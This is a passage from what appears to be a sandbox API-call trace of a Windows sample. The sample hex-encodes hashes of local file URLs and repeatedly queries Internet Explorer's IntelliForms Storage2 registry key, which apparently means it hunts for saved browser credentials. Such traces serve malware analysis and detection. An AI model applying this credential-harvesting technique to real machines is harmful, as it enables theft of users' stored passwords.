| out: lpString1="A648CD76023BA95D6F93DC45F93F07F9A1") returned="A648CD76023BA95D6F93DC45F93F07F9A1" [0078.078] LocalFree (hMem=0x6292f8) returned 0x0 [0078.078] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="14") returned 2 [0078.078] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0078.078] lstrcpyA (in: lpString1=0x6292f8, lpString2="A648CD76023BA95D6F93DC45F93F07F9A1" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9A1") returned="A648CD76023BA95D6F93DC45F93F07F9A1" [0078.078] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC45F93F07F9A1", lpString2="14" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9A114") returned="A648CD76023BA95D6F93DC45F93F07F9A114" [0078.078] LocalFree (hMem=0x6293a8) returned 0x0 [0078.078] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="36") returned 2 [0078.079] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0078.079] lstrcpyA (in: lpString1=0x6293a8, lpString2="A648CD76023BA95D6F93DC45F93F07F9A114" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9A114") returned="A648CD76023BA95D6F93DC45F93F07F9A114" [0078.079] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC45F93F07F9A114", lpString2="36" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9A11436") returned="A648CD76023BA95D6F93DC45F93F07F9A11436" [0078.079] LocalFree (hMem=0x6292f8) returned 0x0 [0078.079] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8A") returned 2 [0078.079] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647b70 [0078.079] lstrcpyA (in: lpString1=0x647b70, lpString2="A648CD76023BA95D6F93DC45F93F07F9A11436" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9A11436") returned="A648CD76023BA95D6F93DC45F93F07F9A11436" [0078.079] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC45F93F07F9A11436", lpString2="8A" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9A114368A") returned="A648CD76023BA95D6F93DC45F93F07F9A114368A" [0078.079] LocalFree (hMem=0x6293a8) returned 0x0 [0078.079] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0078.079] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0078.079] lstrcpyA (in: lpString1=0x647ab8, lpString2="A648CD76023BA95D6F93DC45F93F07F9A114368A" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9A114368A") returned="A648CD76023BA95D6F93DC45F93F07F9A114368A" [0078.079] lstrcatA (in: lpString1="A648CD76023BA95D6F93DC45F93F07F9A114368A", lpString2="44" | out: lpString1="A648CD76023BA95D6F93DC45F93F07F9A114368A44") returned="A648CD76023BA95D6F93DC45F93F07F9A114368A44" [0078.079] LocalFree (hMem=0x647b70) returned 0x0 [0078.079] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.079] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.079] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.079] LocalFree (hMem=0x647ab8) returned 0x0 [0078.079] CoTaskMemFree (pv=0x656740) [0078.079] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/or8EK2Z4kpU.bmp", lpSrch="?") returned 0x0 [0078.079] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/vi9vB0qE6/kbeRx/or8EK2Z4kpU.bmp") returned 65 [0078.079] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="25") returned 2 [0078.079] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x667b50 [0078.079] lstrcpyA (in: lpString1=0x667b50, lpString2="" | out: lpString1="") returned="" [0078.079] lstrcatA (in: lpString1="", lpString2="25" | out: lpString1="25") returned="25" [0078.080] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E0") returned 2 [0078.080] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x667be0 [0078.080] lstrcpyA (in: lpString1=0x667be0, lpString2="25" | out: lpString1="25") returned="25" [0078.080] lstrcatA (in: lpString1="25", lpString2="E0" | out: lpString1="25E0") returned="25E0" [0078.080] LocalFree (hMem=0x667b50) returned 0x0 [0078.080] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B0") returned 2 [0078.080] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x667b50 [0078.080] lstrcpyA (in: lpString1=0x667b50, lpString2="25E0" | out: lpString1="25E0") returned="25E0" [0078.080] lstrcatA (in: lpString1="25E0", lpString2="B0" | out: lpString1="25E0B0") returned="25E0B0" [0078.080] LocalFree (hMem=0x667be0) returned 0x0 [0078.080] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B2") returned 2 [0078.080] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x6643e8 [0078.080] lstrcpyA (in: lpString1=0x6643e8, lpString2="25E0B0" | out: lpString1="25E0B0") returned="25E0B0" [0078.080] lstrcatA (in: lpString1="25E0B0", lpString2="B2" | out: lpString1="25E0B0B2") returned="25E0B0B2" [0078.080] LocalFree (hMem=0x667b50) returned 0x0 [0078.080] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4A") returned 2 [0078.080] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x664350 [0078.080] lstrcpyA (in: lpString1=0x664350, lpString2="25E0B0B2" | out: lpString1="25E0B0B2") returned="25E0B0B2" [0078.080] lstrcatA (in: lpString1="25E0B0B2", lpString2="4A" | out: lpString1="25E0B0B24A") returned="25E0B0B24A" [0078.080] LocalFree (hMem=0x6643e8) returned 0x0 [0078.080] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="88") returned 2 [0078.080] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0078.080] lstrcpyA (in: lpString1=0x6643e8, lpString2="25E0B0B24A" | out: lpString1="25E0B0B24A") returned="25E0B0B24A" [0078.080] lstrcatA (in: lpString1="25E0B0B24A", lpString2="88" | out: lpString1="25E0B0B24A88") returned="25E0B0B24A88" [0078.080] LocalFree (hMem=0x664350) returned 0x0 [0078.080] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="52") returned 2 [0078.080] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x664350 [0078.081] lstrcpyA (in: lpString1=0x664350, lpString2="25E0B0B24A88" | out: lpString1="25E0B0B24A88") returned="25E0B0B24A88" [0078.081] lstrcatA (in: lpString1="25E0B0B24A88", lpString2="52" | out: lpString1="25E0B0B24A8852") returned="25E0B0B24A8852" [0078.081] LocalFree (hMem=0x6643e8) returned 0x0 [0078.081] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6E") returned 2 [0078.081] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65b258 [0078.081] lstrcpyA (in: lpString1=0x65b258, lpString2="25E0B0B24A8852" | out: lpString1="25E0B0B24A8852") returned="25E0B0B24A8852" [0078.081] lstrcatA (in: lpString1="25E0B0B24A8852", lpString2="6E" | out: lpString1="25E0B0B24A88526E") returned="25E0B0B24A88526E" [0078.081] LocalFree (hMem=0x664350) returned 0x0 [0078.081] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="04") returned 2 [0078.081] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x669b38 [0078.081] lstrcpyA (in: lpString1=0x669b38, lpString2="25E0B0B24A88526E" | out: lpString1="25E0B0B24A88526E") returned="25E0B0B24A88526E" [0078.081] lstrcatA (in: lpString1="25E0B0B24A88526E", lpString2="04" | out: lpString1="25E0B0B24A88526E04") returned="25E0B0B24A88526E04" [0078.081] LocalFree (hMem=0x65b258) returned 0x0 [0078.081] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B6") returned 2 [0078.081] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65b258 [0078.081] lstrcpyA (in: lpString1=0x65b258, lpString2="25E0B0B24A88526E04" | out: lpString1="25E0B0B24A88526E04") returned="25E0B0B24A88526E04" [0078.081] lstrcatA (in: lpString1="25E0B0B24A88526E04", lpString2="B6" | out: lpString1="25E0B0B24A88526E04B6") returned="25E0B0B24A88526E04B6" [0078.081] LocalFree (hMem=0x669b38) returned 0x0 [0078.081] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B4") returned 2 [0078.081] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x669b38 [0078.081] lstrcpyA (in: lpString1=0x669b38, lpString2="25E0B0B24A88526E04B6" | out: lpString1="25E0B0B24A88526E04B6") returned="25E0B0B24A88526E04B6" [0078.081] lstrcatA (in: lpString1="25E0B0B24A88526E04B6", lpString2="B4" | out: lpString1="25E0B0B24A88526E04B6B4") returned="25E0B0B24A88526E04B6B4" [0078.081] LocalFree (hMem=0x65b258) returned 0x0 [0078.081] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="4B") returned 2 [0078.081] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0078.081] lstrcpyA (in: lpString1=0x652cb0, lpString2="25E0B0B24A88526E04B6B4" | out: lpString1="25E0B0B24A88526E04B6B4") returned="25E0B0B24A88526E04B6B4" [0078.081] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B4", lpString2="4B" | out: lpString1="25E0B0B24A88526E04B6B44B") returned="25E0B0B24A88526E04B6B44B" [0078.081] LocalFree (hMem=0x669b38) returned 0x0 [0078.081] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="33") returned 2 [0078.081] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652e00 [0078.081] lstrcpyA (in: lpString1=0x652e00, lpString2="25E0B0B24A88526E04B6B44B" | out: lpString1="25E0B0B24A88526E04B6B44B") returned="25E0B0B24A88526E04B6B44B" [0078.081] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B44B", lpString2="33" | out: lpString1="25E0B0B24A88526E04B6B44B33") returned="25E0B0B24A88526E04B6B44B33" [0078.081] LocalFree (hMem=0x652cb0) returned 0x0 [0078.081] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="44") returned 2 [0078.081] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0078.081] lstrcpyA (in: lpString1=0x652cb0, lpString2="25E0B0B24A88526E04B6B44B33" | out: lpString1="25E0B0B24A88526E04B6B44B33") returned="25E0B0B24A88526E04B6B44B33" [0078.082] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B44B33", lpString2="44" | out: lpString1="25E0B0B24A88526E04B6B44B3344") returned="25E0B0B24A88526E04B6B44B3344" [0078.082] LocalFree (hMem=0x652e00) returned 0x0 [0078.082] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B1") returned 2 [0078.082] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652e00 [0078.082] lstrcpyA (in: lpString1=0x652e00, lpString2="25E0B0B24A88526E04B6B44B3344" | out: lpString1="25E0B0B24A88526E04B6B44B3344") returned="25E0B0B24A88526E04B6B44B3344" [0078.082] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B44B3344", lpString2="B1" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1") returned="25E0B0B24A88526E04B6B44B3344B1" [0078.082] LocalFree (hMem=0x652cb0) returned 0x0 [0078.082] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EA") returned 2 [0078.082] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.082] lstrcpyA (in: lpString1=0x6293a8, lpString2="25E0B0B24A88526E04B6B44B3344B1" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1") returned="25E0B0B24A88526E04B6B44B3344B1" [0078.082] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B44B3344B1", lpString2="EA" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EA") returned="25E0B0B24A88526E04B6B44B3344B1EA" [0078.082] LocalFree (hMem=0x652e00) returned 0x0 [0078.082] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E7") returned 2 [0078.082] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.082] lstrcpyA (in: lpString1=0x6292f8, lpString2="25E0B0B24A88526E04B6B44B3344B1EA" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EA") returned="25E0B0B24A88526E04B6B44B3344B1EA" [0078.082] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B44B3344B1EA", lpString2="E7" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE7") returned="25E0B0B24A88526E04B6B44B3344B1EAE7" [0078.082] LocalFree (hMem=0x6293a8) returned 0x0 [0078.082] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="86") returned 2 [0078.082] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.082] lstrcpyA (in: lpString1=0x6293a8, lpString2="25E0B0B24A88526E04B6B44B3344B1EAE7" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE7") returned="25E0B0B24A88526E04B6B44B3344B1EAE7" [0078.082] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE7", lpString2="86" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786") returned="25E0B0B24A88526E04B6B44B3344B1EAE786" [0078.082] LocalFree (hMem=0x6292f8) returned 0x0 [0078.082] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BF") returned 2 [0078.082] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0078.082] lstrcpyA (in: lpString1=0x6292f8, lpString2="25E0B0B24A88526E04B6B44B3344B1EAE786" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786") returned="25E0B0B24A88526E04B6B44B3344B1EAE786" [0078.082] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786", lpString2="BF" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786BF") returned="25E0B0B24A88526E04B6B44B3344B1EAE786BF" [0078.082] LocalFree (hMem=0x6293a8) returned 0x0 [0078.082] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="68") returned 2 [0078.082] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647ab8 [0078.082] lstrcpyA (in: lpString1=0x647ab8, lpString2="25E0B0B24A88526E04B6B44B3344B1EAE786BF" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786BF") returned="25E0B0B24A88526E04B6B44B3344B1EAE786BF" [0078.082] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786BF", lpString2="68" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786BF68") returned="25E0B0B24A88526E04B6B44B3344B1EAE786BF68" [0078.082] LocalFree (hMem=0x6292f8) returned 0x0 [0078.082] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="58") returned 2 [0078.082] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647b70 [0078.082] lstrcpyA (in: lpString1=0x647b70, lpString2="25E0B0B24A88526E04B6B44B3344B1EAE786BF68" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786BF68") returned="25E0B0B24A88526E04B6B44B3344B1EAE786BF68" [0078.083] lstrcatA (in: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786BF68", lpString2="58" | out: lpString1="25E0B0B24A88526E04B6B44B3344B1EAE786BF6858") returned="25E0B0B24A88526E04B6B44B3344B1EAE786BF6858" [0078.083] LocalFree (hMem=0x647ab8) returned 0x0 [0078.083] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.083] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.083] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.083] LocalFree (hMem=0x647b70) returned 0x0 [0078.083] CoTaskMemFree (pv=0x65b1c8) [0078.083] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/6YYy1NE3P.docx", lpSrch="?") returned 0x0 [0078.083] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/bN4uNXn1jH/6YYy1NE3P.docx") returned 60 [0078.083] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="C8") returned 2 [0078.083] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x667b50 [0078.083] lstrcpyA (in: lpString1=0x667b50, lpString2="" | out: lpString1="") returned="" [0078.083] lstrcatA (in: lpString1="", lpString2="C8" | out: lpString1="C8") returned="C8" [0078.083] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E2") returned 2 [0078.083] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x667be0 [0078.083] lstrcpyA (in: lpString1=0x667be0, lpString2="C8" | out: lpString1="C8") returned="C8" [0078.083] lstrcatA (in: lpString1="C8", lpString2="E2" | out: lpString1="C8E2") returned="C8E2" [0078.083] LocalFree (hMem=0x667b50) returned 0x0 [0078.083] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D5") returned 2 [0078.083] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x667b50 [0078.083] lstrcpyA (in: lpString1=0x667b50, lpString2="C8E2" | out: lpString1="C8E2") returned="C8E2" [0078.083] lstrcatA (in: lpString1="C8E2", lpString2="D5" | out: lpString1="C8E2D5") returned="C8E2D5" [0078.083] LocalFree (hMem=0x667be0) returned 0x0 [0078.083] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B5") returned 2 [0078.083] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x664350 [0078.083] lstrcpyA (in: lpString1=0x664350, lpString2="C8E2D5" | out: lpString1="C8E2D5") returned="C8E2D5" [0078.083] lstrcatA (in: lpString1="C8E2D5", lpString2="B5" | out: lpString1="C8E2D5B5") returned="C8E2D5B5" [0078.083] LocalFree (hMem=0x667b50) returned 0x0 [0078.083] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="61") returned 2 [0078.083] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6643e8 [0078.084] lstrcpyA (in: lpString1=0x6643e8, lpString2="C8E2D5B5" | out: lpString1="C8E2D5B5") returned="C8E2D5B5" [0078.084] lstrcatA (in: lpString1="C8E2D5B5", lpString2="61" | out: lpString1="C8E2D5B561") returned="C8E2D5B561" [0078.084] LocalFree (hMem=0x664350) returned 0x0 [0078.084] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5A") returned 2 [0078.084] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0078.084] lstrcpyA (in: lpString1=0x664350, lpString2="C8E2D5B561" | out: lpString1="C8E2D5B561") returned="C8E2D5B561" [0078.084] lstrcatA (in: lpString1="C8E2D5B561", lpString2="5A" | out: lpString1="C8E2D5B5615A") returned="C8E2D5B5615A" [0078.084] LocalFree (hMem=0x6643e8) returned 0x0 [0078.084] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="42") returned 2 [0078.084] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x6643e8 [0078.084] lstrcpyA (in: lpString1=0x6643e8, lpString2="C8E2D5B5615A" | out: lpString1="C8E2D5B5615A") returned="C8E2D5B5615A" [0078.084] lstrcatA (in: lpString1="C8E2D5B5615A", lpString2="42" | out: lpString1="C8E2D5B5615A42") returned="C8E2D5B5615A42" [0078.084] LocalFree (hMem=0x664350) returned 0x0 [0078.084] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D7") returned 2 [0078.084] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65b1c8 [0078.084] lstrcpyA (in: lpString1=0x65b1c8, lpString2="C8E2D5B5615A42" | out: lpString1="C8E2D5B5615A42") returned="C8E2D5B5615A42" [0078.084] lstrcatA (in: lpString1="C8E2D5B5615A42", lpString2="D7" | out: lpString1="C8E2D5B5615A42D7") returned="C8E2D5B5615A42D7" [0078.084] LocalFree (hMem=0x6643e8) returned 0x0 [0078.084] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="89") returned 2 [0078.084] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65b268 [0078.084] lstrcpyA (in: lpString1=0x65b268, lpString2="C8E2D5B5615A42D7" | out: lpString1="C8E2D5B5615A42D7") returned="C8E2D5B5615A42D7" [0078.084] lstrcatA (in: lpString1="C8E2D5B5615A42D7", lpString2="89" | out: lpString1="C8E2D5B5615A42D789") returned="C8E2D5B5615A42D789" [0078.084] LocalFree (hMem=0x65b1c8) returned 0x0 [0078.084] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B3") returned 2 [0078.084] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65b1c8 [0078.084] lstrcpyA (in: lpString1=0x65b1c8, lpString2="C8E2D5B5615A42D789" | out: lpString1="C8E2D5B5615A42D789") returned="C8E2D5B5615A42D789" [0078.084] lstrcatA (in: lpString1="C8E2D5B5615A42D789", lpString2="B3" | out: lpString1="C8E2D5B5615A42D789B3") returned="C8E2D5B5615A42D789B3" [0078.084] LocalFree (hMem=0x65b268) returned 0x0 [0078.084] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="03") returned 2 [0078.085] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65b268 [0078.085] lstrcpyA (in: lpString1=0x65b268, lpString2="C8E2D5B5615A42D789B3" | out: lpString1="C8E2D5B5615A42D789B3") returned="C8E2D5B5615A42D789B3" [0078.085] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3", lpString2="03" | out: lpString1="C8E2D5B5615A42D789B303") returned="C8E2D5B5615A42D789B303" [0078.085] LocalFree (hMem=0x65b1c8) returned 0x0 [0078.085] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7A") returned 2 [0078.085] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652e00 [0078.085] lstrcpyA (in: lpString1=0x652e00, lpString2="C8E2D5B5615A42D789B303" | out: lpString1="C8E2D5B5615A42D789B303") returned="C8E2D5B5615A42D789B303" [0078.085] lstrcatA (in: lpString1="C8E2D5B5615A42D789B303", lpString2="7A" | out: lpString1="C8E2D5B5615A42D789B3037A") returned="C8E2D5B5615A42D789B3037A" [0078.085] LocalFree (hMem=0x65b268) returned 0x0 [0078.085] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CB") returned 2 [0078.085] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0078.085] lstrcpyA (in: lpString1=0x652cb0, lpString2="C8E2D5B5615A42D789B3037A" | out: lpString1="C8E2D5B5615A42D789B3037A") returned="C8E2D5B5615A42D789B3037A" [0078.085] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3037A", lpString2="CB" | out: lpString1="C8E2D5B5615A42D789B3037ACB") returned="C8E2D5B5615A42D789B3037ACB" [0078.085] LocalFree (hMem=0x652e00) returned 0x0 [0078.085] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1F") returned 2 [0078.085] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652e00 [0078.085] lstrcpyA (in: lpString1=0x652e00, lpString2="C8E2D5B5615A42D789B3037ACB" | out: lpString1="C8E2D5B5615A42D789B3037ACB") returned="C8E2D5B5615A42D789B3037ACB" [0078.085] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3037ACB", lpString2="1F" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F") returned="C8E2D5B5615A42D789B3037ACB1F" [0078.085] LocalFree (hMem=0x652cb0) returned 0x0 [0078.085] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9A") returned 2 [0078.086] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0078.086] lstrcpyA (in: lpString1=0x652cb0, lpString2="C8E2D5B5615A42D789B3037ACB1F" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F") returned="C8E2D5B5615A42D789B3037ACB1F" [0078.086] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3037ACB1F", lpString2="9A" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A") returned="C8E2D5B5615A42D789B3037ACB1F9A" [0078.086] LocalFree (hMem=0x652e00) returned 0x0 [0078.086] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="03") returned 2 [0078.086] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0078.086] lstrcpyA (in: lpString1=0x6292f8, lpString2="C8E2D5B5615A42D789B3037ACB1F9A" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A") returned="C8E2D5B5615A42D789B3037ACB1F9A" [0078.088] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3037ACB1F9A", lpString2="03" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03") returned="C8E2D5B5615A42D789B3037ACB1F9A03" [0078.088] LocalFree (hMem=0x652cb0) returned 0x0 [0078.088] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CE") returned 2 [0078.088] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0078.088] lstrcpyA (in: lpString1=0x6293a8, lpString2="C8E2D5B5615A42D789B3037ACB1F9A03" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03") returned="C8E2D5B5615A42D789B3037ACB1F9A03" [0078.088] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03", lpString2="CE" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CE") returned="C8E2D5B5615A42D789B3037ACB1F9A03CE" [0078.088] LocalFree (hMem=0x6292f8) returned 0x0 [0078.088] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B7") returned 2 [0078.089] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0078.089] lstrcpyA (in: lpString1=0x6292f8, lpString2="C8E2D5B5615A42D789B3037ACB1F9A03CE" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CE") returned="C8E2D5B5615A42D789B3037ACB1F9A03CE" [0078.089] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CE", lpString2="B7" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB7") returned="C8E2D5B5615A42D789B3037ACB1F9A03CEB7" [0078.089] LocalFree (hMem=0x6293a8) returned 0x0 [0078.089] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6F") returned 2 [0078.091] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0078.091] lstrcpyA (in: lpString1=0x6293a8, lpString2="C8E2D5B5615A42D789B3037ACB1F9A03CEB7" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB7") returned="C8E2D5B5615A42D789B3037ACB1F9A03CEB7" [0078.091] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB7", lpString2="6F" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB76F") returned="C8E2D5B5615A42D789B3037ACB1F9A03CEB76F" [0078.091] LocalFree (hMem=0x6292f8) returned 0x0 [0078.091] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CA") returned 2 [0078.091] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647b70 [0078.091] lstrcpyA (in: lpString1=0x647b70, lpString2="C8E2D5B5615A42D789B3037ACB1F9A03CEB76F" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB76F") returned="C8E2D5B5615A42D789B3037ACB1F9A03CEB76F" [0078.091] lstrcatA (in: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB76F", lpString2="CA" | out: lpString1="C8E2D5B5615A42D789B3037ACB1F9A03CEB76FCA") returned="C8E2D5B5615A42D789B3037ACB1F9A03CEB76FCA" [0078.091] LocalFree (hMem=0x6293a8) returned 0x0 [0078.091] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="06") returned 2 [0078.091] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647ab8 [0078.091] lstrcpyA (in: lpString1=0x647ab8, 